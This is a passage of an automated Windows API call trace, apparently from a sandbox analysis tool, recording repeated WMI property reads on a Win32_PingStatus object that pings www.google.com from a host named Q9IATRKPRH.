0x1 [0138.579] SafeArrayGetLBound (in: psa=0x4f3e390, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0138.579] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.594] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.594] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.594] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.594] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.594] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.594] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.594] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.594] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.594] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.594] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.594] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.594] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.594] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.597] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.598] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.598] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.598] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.598] SysStringByteLen (bstr="__PATH") returned 0xc [0138.598] SysStringByteLen (bstr="__PATH") returned 0xc [0138.598] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24414f4*=0, plFlavor=0x24414f8*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24414f4*=3, plFlavor=0x24414f8*=64) returned 0x0 [0138.598] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2441528*=0, plFlavor=0x244152c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2441528*=8, plFlavor=0x244152c*=64) returned 0x0 [0138.598] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.598] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.598] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2441580*=0, plFlavor=0x2441584*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2441580*=8, plFlavor=0x2441584*=64) returned 0x0 [0138.598] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24415a8*=0, plFlavor=0x24415ac*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24415a8*=8, plFlavor=0x24415ac*=64) returned 0x0 [0138.599] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.599] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.599] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2441600*=0, plFlavor=0x2441604*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2441600*=8, plFlavor=0x2441604*=64) returned 0x0 [0138.599] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.599] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.599] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24417dc*=0, plFlavor=0x24417e0*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24417dc*=3, plFlavor=0x24417e0*=64) returned 0x0 [0138.599] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2441810*=0, plFlavor=0x2441814*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2441810*=8200, plFlavor=0x2441814*=64) returned 0x0 [0138.599] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2441844*=0, plFlavor=0x2441848*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2441844*=8, plFlavor=0x2441848*=64) returned 0x0 [0138.599] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.599] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.599] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2441890*=0, plFlavor=0x2441894*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2441890*=8, plFlavor=0x2441894*=64) returned 0x0 [0138.600] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.600] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.600] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24418dc*=0, plFlavor=0x24418e0*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24418dc*=8, plFlavor=0x24418e0*=64) returned 0x0 [0138.600] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.600] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.600] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8d0 | out: puCount=0x59ee8d0*=0x2) returned 0x0 [0138.600] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8cc*=0xf, pszText=0x0) returned 0x0 [0138.600] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.600] IWbemClassObject:Get (in: This=0x507f00, wszName="Address", lFlags=0, pVal=0x59ee8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2441b14*=0, plFlavor=0x2441b18*=0 | out: pVal=0x59ee8cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2441b14*=8, plFlavor=0x2441b18*=0) returned 0x0 [0138.600] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.600] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.600] IWbemClassObject:Get (in: This=0x507f00, wszName="Address", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2441b14*=8, plFlavor=0x2441b18*=0 | out: pVal=0x59ee980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2441b14*=8, plFlavor=0x2441b18*=0) returned 0x0 [0138.600] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.600] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.601] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x564 [0138.601] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0138.601] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0138.601] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.601] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244276c*=0, plFlavor=0x2442770*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x244276c*=8, plFlavor=0x2442770*=64) returned 0x0 [0138.601] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.601] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.601] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244276c*=8, plFlavor=0x2442770*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x244276c*=8, plFlavor=0x2442770*=64) returned 0x0 [0138.601] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.601] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.601] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0138.601] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0138.601] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.602] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2442808*=0, plFlavor=0x244280c*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2442808*=8, plFlavor=0x244280c*=64) returned 0x0 [0138.602] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.602] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.602] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2442808*=8, plFlavor=0x244280c*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2442808*=8, plFlavor=0x244280c*=64) returned 0x0 [0138.602] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.602] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.602] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0138.602] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0138.602] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.602] IWbemClassObject:Get (in: This=0x507f00, wszName="__Derivation", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2442964*=0, plFlavor=0x2442968*=0 | out: pVal=0x59ee538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e390*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2442964*=8200, plFlavor=0x2442968*=64) returned 0x0 [0138.602] IWbemClassObject:Get (in: This=0x507f00, wszName="__Derivation", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2442964*=8200, plFlavor=0x2442968*=64 | out: pVal=0x59ee540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2442964*=8200, plFlavor=0x2442968*=64) returned 0x0 [0138.602] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0138.602] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0138.603] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.603] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2442bcc*=0, plFlavor=0x2442bd0*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2442bcc*=8, plFlavor=0x2442bd0*=64) returned 0x0 [0138.603] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.603] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.603] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2442bcc*=8, plFlavor=0x2442bd0*=64 | out: pVal=0x59ee540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2442bcc*=8, plFlavor=0x2442bd0*=64) returned 0x0 [0138.603] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.603] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.603] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0138.603] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0138.603] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.603] IWbemClassObject:Get (in: This=0x507f00, wszName="__Derivation", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2442cf4*=0, plFlavor=0x2442cf8*=0 | out: pVal=0x59ee538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e390*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2442cf4*=8200, plFlavor=0x2442cf8*=64) returned 0x0 [0138.603] IWbemClassObject:Get (in: This=0x507f00, wszName="__Derivation", lFlags=0, pVal=0x59ee540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2442cf4*=8200, plFlavor=0x2442cf8*=64 | out: pVal=0x59ee540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2442cf4*=8200, plFlavor=0x2442cf8*=64) returned 0x0 [0138.604] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee554 | out: puCount=0x59ee554*=0x2) returned 0x0 [0138.604] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0x0, pszText=0x0 | out: puBuffLength=0x59ee550*=0xf, pszText=0x0) returned 0x0 [0138.604] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.604] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee554 | out: puCount=0x59ee554*=0x2) returned 0x0 [0138.604] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0x0, pszText=0x0 | out: puBuffLength=0x59ee550*=0xf, pszText=0x0) returned 0x0 [0138.604] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee550*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee550*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.604] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee55c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee550 | out: pNames=0x59ee550*="\x01ƀ\x04") returned 0x0 [0138.604] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.604] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.604] SafeArrayGetLBound (in: psa=0x4f3e3c0, nDim=0x1, plLbound=0x59ee3e8 | out: plLbound=0x59ee3e8) returned 0x0 [0138.604] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.604] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.604] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.604] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.604] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.605] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.605] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.605] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.605] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.605] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.605] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.605] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.605] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.605] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.605] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.605] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.605] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.605] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.605] SysStringByteLen (bstr="__PATH") returned 0xc [0138.605] SysStringByteLen (bstr="__PATH") returned 0xc [0138.605] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2443544*=0, plFlavor=0x2443548*=0 | out: pVal=0x59ee54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2443544*=3, plFlavor=0x2443548*=64) returned 0x0 [0138.605] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2443578*=0, plFlavor=0x244357c*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2443578*=8, plFlavor=0x244357c*=64) returned 0x0 [0138.605] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.605] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.606] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24435d0*=0, plFlavor=0x24435d4*=0 | out: pVal=0x59ee54c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24435d0*=8, plFlavor=0x24435d4*=64) returned 0x0 [0138.606] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24435f8*=0, plFlavor=0x24435fc*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24435f8*=8, plFlavor=0x24435fc*=64) returned 0x0 [0138.606] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.606] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.606] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2443650*=0, plFlavor=0x2443654*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2443650*=8, plFlavor=0x2443654*=64) returned 0x0 [0138.606] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.606] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.606] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x244382c*=0, plFlavor=0x2443830*=0 | out: pVal=0x59ee54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x244382c*=3, plFlavor=0x2443830*=64) returned 0x0 [0138.606] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2443860*=0, plFlavor=0x2443864*=0 | out: pVal=0x59ee54c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2443860*=8200, plFlavor=0x2443864*=64) returned 0x0 [0138.606] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2443894*=0, plFlavor=0x2443898*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2443894*=8, plFlavor=0x2443898*=64) returned 0x0 [0138.607] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.607] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.607] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24438e0*=0, plFlavor=0x24438e4*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24438e0*=8, plFlavor=0x24438e4*=64) returned 0x0 [0138.607] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.607] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.607] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, 